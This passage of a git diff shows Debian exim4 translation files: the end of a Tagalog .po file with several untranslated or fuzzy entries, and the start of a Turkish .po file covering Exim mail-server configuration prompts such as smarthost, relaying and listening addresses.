smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Basahin ang /usr/share/doc/exim4-base/README.Debian.gz para sa mga paalala " +"tungkol sa pagsasaayos ng SMTP authentication." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Ang tatanggap ng koreo para sa root at sa postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Ang mga koreo para sa \"postmaster\", \"root\", at ibang mga account ng " +"sistema ay madalas na pinapadala sa totoong account ng taong namamahala ng " +"sistema. Kung iwanan ninyong blanko ito, ang koreong mga ito ay iimbakin sa /" +"var/mail/mail, at hindi ito rekomendado. Dapat na mabatid na ang koreo ng " +"postmaster ay dapat basahin sa makina kung saan ito natanggap, at hindi " +"mungkahi na ito'y ilipat sa ibang makina, kaya't (dapat ay may isa) ang mga " +"gumagamit na pipiliin niyo ay dapat hindi magpalipat ng kanilang koreo sa " +"ibang makina. Gumamit ng \"real-\" na prefix upang pilitin ang paghatid na " +"lokal." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "Multiple user names need to be separated by spaces." +msgstr "Magbigay ng isa o higit pa na mga gumagamit na nakahiwalay ng puwang." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Mga IP address na papakinggan para sa papasok na koneksyong SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Kung iwanan ninyong blanko ito, makikinig ang Exim para sa koneksyong SMTP " +"sa lahat ng magagamit na mga network interface." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Kung hindi tatanggap ang kompyuter na ito ng koreo ng direkta na SMTP mula " +"sa IBANG mga makina, kundi lamang sa mga lokal na serbisyo tulad ng " +"fetchmail o ng inyong programang pang-email (MUA) sa pakikipagusap sa " +"localhost, dapat niyong ipagbawal ang koneksyon mula sa labas patungo sa " +"Exim sa pagtakda nitong option na ito sa 127.0.0.1 at sa ganoong paraan ay " +"hindi ito makikinig sa mga network interface na pampubliko." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Ilimita ang pagtanong sa DNS (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Sa karaniwang pagtakbo ang Exim ay nagtatanong sa DNS sa umpisa, kapag ito'y " +"nakakatanggap o nagpapadala ng mga koreo, atbp. para sa pagtatala at upang " +"iwanan na kaunti lamang ang nakatakdang halaga sa hard-code sa tipunang " +"pagsasaayos." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Kung ito'y makina na walang permanenteng DNS access at gumagamit ng Dial-on-" +"Demand, maaaring ito'y magkaroon ng hindi kanais-nais na pangyayari na kapag " +"tumakbo ang exim o pagproseso ng queue (kahit na walang mga koreong " +"naghihintay) ay ito'y mag-trigger ng magastos na dial-up event." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +#, fuzzy +msgid "Mail Server configuration" +msgstr "Pangkalahatang pagsasaayos ng koreo:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Ipaghati ang pagsasaayos sa maliliit na mga tipunan?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Ang paketeng exim4 ng Debian ay maaaring gumamit ng iisang malaking tipunan " +"(/etc/exim4/exim4.conf.template) o higit-kumulang ng 40 na maliit na tipunan " +"sa /etc/exim4/conf.d/ upang makabuo ng kahulihang pagsasaayos." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Ang nauna ay mas-akma sa malalaking pagbabago at karaniwan ito'y mas-stable, " +"samantalang ang nahuli ay masmadali ang pagbabago na maliliit ngunit ito'y " +"masmadaling masira ang pagsasaayos kung ito'y madalas na baguhin." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Itago ang pangalang lokal sa palabas na koreo?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +#, fuzzy +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Ang mga header ng palabas na koreo ay maaaring isulat muli upang magmukhang " +"ito'y ginawa sa ibang makina, ang pagpalit ng \"${mailname}\" \"localhost\" " +"at \"${dc_other_hostnames}\" sa From, Reply-To, Sender at Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +#, fuzzy +msgid "Delivery method for local mail:" +msgstr "koreo pinapadala sa smarthost; walang lokal na koreo" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Ilipat ang hindi pa naihahatid na mga koreo mula sa exim(v3) patungo sa " +#~ "exim4 spool?" + +#, fuzzy +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "May mga hindi pa naihahatid na mga koreo sa spool directory ng exim o " +#~ "exim-tls sa /var/spool/exim/input/. Maaari silang ilipat sa spool ng " +#~ "exim4 (/var/spool/exim4/input/) ngayon kung saan sila'y maproproseso ng " +#~ "exim4." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Dapat ninyong mabatid na gumagana ito ng isang-direksyon lamang, dahil " +#~ "kaya ng exim4 na i-proseso ang spool ng exim(v3) ngunit hindi kaya ng exim" +#~ "(v3) na i-proseso ang exim4." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Ilipat lamang ang mga koreo na hindi niyo balak ibalik sa exim(v3), kung " +#~ "hindi ay hindi dapat ilipat ang mga koreo ngayon kundi mamaya ng mano-" +#~ "mano matapos niyong mapalitan ang inyong pagkaayos." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Kung mayroon pang iba, ibigay ang mga ito dito, nakahiwalay ng mga " +#~ "tutuldok. Maaari ninyong iwanan itong blanko kung wala." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Ibigay ang mga domain na tatanggapin niyo na kahalip kayo sa paghatid ng " +#~ "koreo." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Ang mga domain na ito ay mga domain na handa niyong tanggapin ang koreo " +#~ "mula kahit saan sa Internet. Huwag ibibigay ang mga lokal na domain dito." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Ang mga domain na ibibigay dito ay kailangang nakahiwalay ng mga kolon. " +#~ "Maaaring gumamit ng mga wildcard." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Dahil pinatago ninyo ang lokal na pangalan ng makina sa palabas na koreo, " +#~ "kinakailangan ninyong itakda ang domain name na gagamitin sa mga koreo na " +#~ "magmumula sa mga gumagamit na lokal; madalas ay ito ay ang pangalan ng " +#~ "makina kung saan ninyo tinatanggap ang inyong mga koreo." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Saan magbabasa ng koreo ang inyong mga gumagamit?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "Pagproseso ng makina ng koreong palabas mula sa makinang ito (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Ibigay ang pangalan ng makina kung saan pinapadala ang palabas na koreo." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Itakdang enabled ang feature na ito kung kayo'y gumagamit ng Dial-on-" +#~ "Demand; kung hindi, itakdang disabled." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Piliin ang uri ng pagsasaayos na akma sa inyong pangangailangan." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Kung hindi kayo tiyak ay hindi niyo dapat ipaghati ang pagsasaayos." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "ayusin ng mano-mano mula sa kinamay na pagsasaayos ng exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Isaayos ang Exim4 ng mano-mano?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Nasabi niyo na mayroon kayong de kamay na pagsasaayos ng Exim 3. Upang " +#~ "malipat ito sa Exim 4, maaari niyong gamitin ang exim_convert4r4(8) " +#~ "matapos ng pag-install. Basahin ang /usr/share/doc/exim4-base/examples/" +#~ "example.conf.gz at /usr/share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Hanggang maisaayos ang inyong sistemang pang-koreo, ito ay hindi " +#~ "magagamit." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "Ang \"pangalang pang-koreo\" ay ang bahaging hostname/pangalan ng address " +#~ "na ipinapakita sa palabas na balita at koreo (susunod sa pangalan ng " +#~ "gumagamit at ng simbolong @) maliban sa ito'y itinatago sa pagsusulat " +#~ "muli. " + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Ibigay dito ang mga network ng mga makinang lokal na nais niyong " +#~ "tanggapin ang mga koreo upang ipaabot ang mga ito." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Dapat ay kasama dito ang lahat ng mga makina na gagamitin tayo bilang " +#~ "smarthost." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Kailangan na doble ang mga tutuldok sa mga address na IPv6 (hal. " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Magbigay ng talaan ng mga IP address na papakinggan na nakahiwalay ng mga " +#~ "tutuldok. Kailangang idoble ang mga tutuldok sa mga address na IPv6 " +#~ "(hal. 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Pagsasaayos ng Exim v4 (exim4-config)" diff --git a/debian/po/tr.po b/debian/po/tr.po new file mode 100644 index 0000000..b7cf4ea --- /dev/null +++ b/debian/po/tr.po @@ -0,0 +1,640 @@ +# Turkish translation of exim4. +# This file is distributed under the same license as the exim4 package. +# Recai OktaÅŸ <roktas@debian.org> 2004, 2006. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-05-24 18:27+0200\n" +"Last-Translator: Mert Dirik <mertdirik@gmail.com>\n" +"Language-Team: Turkish <debian-l10n-turkish@lists.debian.org>\n" +"Language: tr\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=1; plural=0;\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Kuyruk dizinindeki gönderilmeyen postalar silinsin mi?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Exim kuyruk dizini olan /var/spool/exim4/input'da henüz gönderilmemiÅŸ " +"epostalar var. Exim'i silmeniz halinde bu epostalar ileri bir tarihte Exim " +"tekrar kuruluncaya kadar gönderilmemiÅŸ halde muhafaza edilecektir." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"EÄŸer bu seçenek seçilmemiÅŸse kuyruk (spool) dizini korunacak ve burada " +"bekleyen iletilerin gönderilmesi Exim'in tekrar kurulduÄŸu ileriki bir tarihe " +"ertelenecektir." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Bu paket yerine exim4-config yeniden yapılandırılsın mı?" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 yapılandırması kendi başına ayrı bir paket olan exim4-config " +"tarafından yapılmaktadır. Exim4'ü tekrar yapılandırmak için 'dpkg-" +"reconfigure exim4-config' komutunu kullanın." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "Ä°nternet sitesi; posta alma/gönderme doÄŸrudan SMTP ile" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "Posta gönderme akıllı-makine ile; posta alma SMTP/fetchmail ile" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "Posta gönderme akıllı-makine ile; yerel posta yok" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "Sadece yerel dağıtım; aÄŸ yok" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "Åžu an bir yapılandırma yapma" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Posta yapılandırma türü:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Lütfen ihtiyaçlarınıza en uygun eposta sunucu yapılandırmasını seçin." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Devingen IP adresli sistemler (çevirmeli baÄŸlantı sistemleri de dahil), " +"diÄŸer bir makineye posta göndermek için genellikle 'akıllı " +"makine' (smarthost) denilen yöntemle yapılandırılmalıdır. Çünkü Ä°nternet " +"üzerindeki alıcı bir çok sistem spam koruması için devingen IP adreslerinden " +"gelen epostaları engellemektedir." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Devingen IP adresi kullanan bir sistemin kendisi eposta alabilir veya yerel " +"dağıtım bütünüyle iptâl edilebilir ('root' ve 'postmaster' epostaları " +"haricinde)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Posta sistemi yapılandırılmamış halde mi bırakılsın?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Posta sisteminiz yapılandırılana kadar bozuk ve kullanılamaz durumda " +"olacaktır. Yapılandırma iÅŸlemini daha sonra elle veya root olarak 'dpkg-" +"reconfigure exim4-config' komutunu çalıştırarak gerçekleÅŸtirebilirsiniz." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Sistemin posta adı:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'posta adı' alan adı içermeyen 'nitelikli' posta adreslerinde kullanılacak " +"alan adıdır." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Ayrıca bu ad diÄŸer programlar tarafından da kullanılacak. Bu ad postanın " +"gönderildiÄŸi kaynağı tanımlayan Tam Nitelikli Alan Adı (FQDN) biçiminde tek " +"bir ad olmalıdır." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"ÖrneÄŸin, yerel makinedeki eposta adresiniz foo@ornek.alan ÅŸeklindeyse bu " +"seçeneÄŸin alacağı doÄŸru deÄŸer ornek.alan olacaktır." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"EÄŸer baÅŸlık yeniden yazma etkinleÅŸtirilirse, bu ad, dışarı giden epostaların " +"Kimden: (From:) alanında gözükmeyecektir." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Kendisinden posta kabul edilecek diÄŸer adresler:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Lütfen bu makinenin kendisini nihaî varış adresi olarak deÄŸerlendireceÄŸi " +"alan adlarını noktalı virgülle ayrılmış bir liste halinde girin. Bu alanlar " +"genel olarak 'local domains' ('yerel alanlar') ÅŸeklinde " +"adlandırılmaktadırlar. yerel makine ismi (${fqdn}) ve 'localhost' bu listeye " +"her zaman eklenir." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Öntanımlı olarak bütün yerel alan adlarına aynı ÅŸekilde muamele " +"edilecektir. Mesela, a.ornek ve b.ornek yerel alan adları için, hesap@a." +"ornek ve hesap@b.ornekadresleri aynı varış noktasına sahiptir. EÄŸer farklı " +"alan adlarına farklı ÅŸekilde muamele edilmesini istiyorsanız, daha sonra " +"yapılandırma dosyalarını düzenlemeniz gerekecektir." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Postaları anahtarlanacak alan adları:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Lütfen kendilerine ait postaların anahtarlanacağı ('relay' edileceÄŸi) alıcı " +"alan adlarını noktalı virgülle ayrılmış bir liste halinde girin. Örnek " +"olarak bu alanlar bir MX sunucusu veya eposta geçidi olabilir. Bu " +"yapılandırma sonucunda sistem Ä°nternet üzerinde herhangi bir yerden bu " +"alanlar adına gelen epostaları kabul edecek ve yerel dağıtım kurallarına " +"göre bu epostaların dağıtımını yapacaktır." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Buraya yerel alan adlarını girmeyin. Joker karakterler kullanılabilir." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Postaları anahtarlanacak makineler:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Lütfen kendilerine ait postaların koÅŸulsuz olarak anahtarlanmasına izin " +"verilen, yani her biri bu sistemi akıllı-makine olarak gören IP adres " +"aralığı listesini noktalı virgülle ayrılmış bir liste halinde girin." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Burada standart adres/uzunluk biçimini kullanmalısınız (ör. 194.222.242.0/24 " +"veya 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"EÄŸer bu sistem diÄŸer baÅŸka bir sistem için akıllı-makine (smarthost) olarak " +"görev yapmayacaksa bu listeyi boÅŸ bırakın." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Yerel kullanıcılar için görünür alan adı:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Gönderilen epostalarda yerel eposta adının gizlenilmesi seçeneÄŸi " +"etkinleÅŸtirilmiÅŸ durumda. Bu yüzden yerel kullanıcıların gönderen adresinin " +"alan adı kısmı olarak kullanılmak üzere bu sistemin alan adının belirtilmesi " +"gerekiyor." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Akıllı-makinenin (smarthost) IP adresi veya makine adı:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Lütfen bu sistemin akıllı-makine olarak kullanacağı bir eposta sunucusunun " +"makine adını veya IP adresini girin. EÄŸer akıllı-makine epostaları " +"TCP/25'den farklı bir porttan kabul ediyorsa girdinin sonuna '::' ve port " +"numarasını ekleyin (ör. ornek.akiilimakine::587 veya " +"192.168.254.254::2525). IPv6 adreslerindeki ':' karakterleri çift " +"yazılmalıdır." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"EÄŸer akıllı-makine kimlik doÄŸrulama gerektiriyorsa, SMTP kimlik doÄŸrulama " +"ayarları için /usr/share/doc/exim4-base dizinindeki Debian'a özgü README " +"dosyalarına baÅŸvurun." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Root ve postmaster için posta alıcısı:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"'postmaster', 'root' ve diÄŸer sistem hesaplarına ait epostaların gerçek " +"sistem yöneticisine ait kullanıcının hesabına yönlendirilmesi gerekiyor." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"EÄŸer bu alan boÅŸ bırakılırsa, tavsiye edilmeyen bir durum olarak, bu " +"iletiler '/var/mail/Mail' dizinine kaydedilecektir." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"'postmaster'a ait postanın okunacağı sistemin, bir baÅŸka sistem yerine bu " +"postanın yönlendirildiÄŸi sistem olmasına dikkat edin. Dolayısıyla burada " +"listelenen kullanıcıların (en azında bir tanesinin) kendi postalarını bir " +"dış makineye yönlendirmemesi gerekir. Ä°lgili kullanıcıya iliÅŸkin posta " +"dağıtımının sadece yerel olarak yapılmasını saÄŸlamak için 'real-' öneki " +"kullanılabilir." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr 